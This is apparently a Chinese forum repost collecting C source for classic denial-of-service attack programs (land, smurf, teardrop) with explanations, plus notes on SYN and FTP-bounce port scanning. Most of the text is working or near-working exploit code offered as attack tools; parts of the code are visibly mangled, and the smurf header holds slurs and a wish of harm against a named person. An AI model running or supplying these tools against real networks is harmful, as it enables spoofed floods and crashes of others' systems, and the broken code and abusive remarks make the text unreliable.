- 論壇徽章:
- 0
|
C源碼:常用攻擊程序
Abstract
這里有一些是老的,現(xiàn)在看來并沒有用,但他們都很有名。
1 Land
攻擊一臺Win95的機(jī)器。這是Win95的一個漏洞,以其IP地址和端口向自
己的同一個端口發(fā)起連接(發(fā)SYN),Win95即會崩潰。
/* land.c by m3lt, FLC
crashes a win95 box */
#include
#include
#include
#include
#include
#include
#include
#include
//用于TCP校驗(yàn)和的偽頭
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
//計(jì)算IP校驗(yàn)和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i>1);i++)
value+=data;
if((length&1)==1)
value+=(data>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC\n");
if(argch_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
//new一個SOCK—RAW以發(fā)偽造IP包 這需要root權(quán)限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
2 Smurf
smurf攻擊是很簡單的,它有一些IP(廣播地址)地址列表,發(fā)出了一些偽造的數(shù)
據(jù)包(ICMP echo request)從而導(dǎo)致一場廣播風(fēng)暴,可以使受害主機(jī)(使它成為偽造包
的源地址)崩潰。
受害者有兩種:中間的設(shè)備(bounce sites 交換機(jī)或路由器)和被偽裝的IP(那些
icmp echo的包都被發(fā)給它)。這種攻擊依賴于路由器把一個廣播地址轉(zhuǎn)化為一廣播楨
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允許這種轉(zhuǎn)換,但在今天看來是不需要的。
可以使你router停止轉(zhuǎn)換第三層的廣播(IP)到第二層的廣播(Ethernet)。
但是Smb服務(wù)器或NT需要遠(yuǎn)程廣播使LAN知道它的存在,但在路由器的上述配置會使這變
成不可能(沒有WINS服務(wù)器時(shí))。
/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal to:
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);
/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);
banner();
signal(SIGINT, ctrlc);
if (argc h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);
if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i 1024) {
fprintf(stderr, "ERROR: packet size must be "
" \n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
free(packet); /* free willy! */
}
void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
}
unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
3 Teardrop
在Linux的ip包重組過程中有一個嚴(yán)重的漏洞。
在ip_glue()中:
在循環(huán)中重組ip包:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
這里只檢查了長度過大的情況,而沒有考慮長度過小的情況,
如 fp->lentot_len) - ihl;
當(dāng)發(fā)現(xiàn)當(dāng)前包的偏移已經(jīng)在上一個包的中間時(shí)(即兩個包是重疊的)
是這樣處理的:
if (prev != NULL && offset end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset; //fp->len是一個有符號整數(shù)
舉個例子來說明這個漏洞:
第一個碎片:mf=1 offset=0 payload=20
敵二個碎片:mf=0 offset=10 payload=9
這樣第一個碎片的 end=0+20
offset=0
這樣第二個碎片的 end=9+10=19
offset=offset+(20-offset)=20
fp-〉len=19-20=-1;
那么memcpy將拷貝過多的數(shù)據(jù)導(dǎo)致崩潰。
/*
* Copyright (c) 1997 route|daemon9 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
4 Portscan 和 Antiportscan
Portscan的兩種主要方法:
(1) Half-open(半打開)
利用下面特性:但一個主機(jī)收到向某個端口(TCP)發(fā)出的(SYN),
如果在這個端口有服務(wù),那么返回(SYN+ASK),不然返回(RST)。
(2) FTP scanner
利用了FTP的port命令,例如可以這樣作:
選擇一個FTP服務(wù)器,連上后令port命令指向目標(biāo)機(jī),如果返回
值是正確的,那么目標(biāo)機(jī)的該端口是有服務(wù)的,如返回打開端口錯誤則
該端口無服務(wù)。
telnet 192.168.1.13 21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
Thu May 7 23:18:05 EDT 1998) ready.
user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探測的目標(biāo) p1 p2是目的端口
150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//該端口未活動
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//該端口活動中
但有些FTP服務(wù)器禁止你將數(shù)據(jù)連接影響其他地址,那就沒辦法了。
上述兩種方法是通用的,而針對個別系統(tǒng)有一些特殊方法。
如一些系統(tǒng)受到包后會作如下處理:
標(biāo)志 活動的端口的應(yīng)答 不活動端口的應(yīng)答
SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST
你最好是試一試。
Antiport
一般是調(diào)用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的讀,
若發(fā)現(xiàn)一個主機(jī)不停的象你發(fā)送(SYN)包,卻沒有完成連結(jié),可以認(rèn)
定它在向你做portscan。
notes:
早期的portscan程序是老老實(shí)實(shí)的向你一個一個端口連(完成三次握手),
而一些antiscan是在一個平時(shí)不用的端口上起一個服務(wù)器,并認(rèn)為連上來的
都是向它scan。
本文來自ChinaUnix博客,如果查看原文請點(diǎn):http://blog.chinaunix.net/u/10951/showart_2050088.html |
|